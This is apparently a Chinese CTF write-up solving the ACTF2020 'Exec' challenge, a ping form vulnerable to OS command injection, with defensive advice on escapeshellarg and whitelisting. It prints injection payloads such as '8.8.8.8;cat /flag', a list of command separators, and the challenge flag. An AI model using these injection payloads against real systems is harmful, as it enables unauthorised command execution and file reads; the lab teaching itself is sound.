[ACTF2020 新生赛]Exec 思路及解法

📅 2026/7/6 6:02:34 👁️ 阅读次数 📝 编程学习
[ACTF2020 新生赛]Exec 思路及解法

大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天我们刷下 [ACTF2020 新生赛]Exec 这道题,依旧分享我的解题思路和解法。


解题思路

先启动靶场。

访问靶场主界面。

发现有个可以输入IP的窗口,我们不着急测试,先查看前端代码看看有没有什么其他线索。

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>command execution</title> <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" /> </head> <body> <h1>PING</h1> <form class="form-inline" method="post"> <div class="input-group"> <input style="width:280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target"> </div> <br/> <br/> <button style="width:280px;" class="btn btn-default">PING</button> </form> <br /><pre> </pre></body> </html>

观察代码,发现前端以 POST 方式通过 input 标签传输了个 target 的文本类型的参数到后端处理。

既然是执行系统的命令,那可能该参数是直接拼接到系统命令当中。

我们先输入个IP地址看看返回的是什么内容。

8.8.8.8 是Google LLC 提供的免费 DNS 服务器 IP 地址,感兴趣或不太了解的朋友可以自行搜索了解。此外,也可以使用 114.114.114.114 这个 IP 地址,它相比 8.8.8.8 在国内更加稳定。

很好,可以确定的是后端可能是直接拼接到系统命令当中的,可能存在RCE漏洞。

那在这里我进行补充,如果后端代码使用安全的函数则可以在一定程度上提高安全性,但最好还是使用白名单进行校验

$target = escapeshellarg($_POST['target']); system("ping -c 4 " . $target);

我们继续深入,不清楚后端是什么系统,那我们先使用 “ls” 探探虚实(Windows是使用dir命令)

PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq=0 ttl=42 time=201.661 ms 64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.211 ms 64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.756 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 194.756/198.209/201.661 ms index.php

很好,目录列表出来了,不过并没有我们需要的flag。

我们使用 “../” 继续深入

PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq=0 ttl=42 time=199.019 ms 64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.391 ms 64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.943 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 194.943/197.451/199.019 ms html localhost

依旧没有,在这里我们可以继续添加 “../” 来进行深入,或者说直接拼接 “/” 查看根目录。

这个依个人习惯而定,在这里我就按照本人习惯直接查看根目录了。

8.8.8.8;ls /

发现可能藏有 flag 的文件!接下来我们直接使用 cat 尝试读取

8.8.8.8;cat /flag

这样子,flag就成功爆出来了!

PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq=0 ttl=42 time=202.624 ms 64 bytes from 8.8.8.8: seq=1 ttl=42 time=197.311 ms 64 bytes from 8.8.8.8: seq=2 ttl=42 time=198.840 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 197.311/199.591/202.624 ms CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}

靶场小结

考点标签

命令注入、输入验证、管道符与分号

核心教训

1. 功能点即攻击面:页面上的“Ping”功能,背后大概率调用了系统命令。看到这类功能,第一反应就应该是测试命令拼接符。
2. 命令注入的肌肉记忆:“;” “|” “&” “&&” “||” “%0a” 这些拼接符应牢牢记住。本题无任何过滤,分号 “;” 直接生效。
3. 无过滤时的最简 Payload:“8.8.8.8; cat /flag” ——前面的合法输入用来让原命令正常执行(或者至少不报错),分号切断后直接执行读取命令。这是命令注入最经典、最优雅的利用形式。

解题关键步骤

1. 打开靶场,看到输入框和 ping 功能。
2. 输入 8.8.8.8 测试正常功能,确认页面返回 ping 结果。
3. 输入 8.8.8.8; ls 测试拼接,页面回显目录列表,确认命令注入漏洞存在。
4. 输入 8.8.8.8; cat /flag 读取根目录下的 Flag 文件。
5. 拿到 Flag:CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}。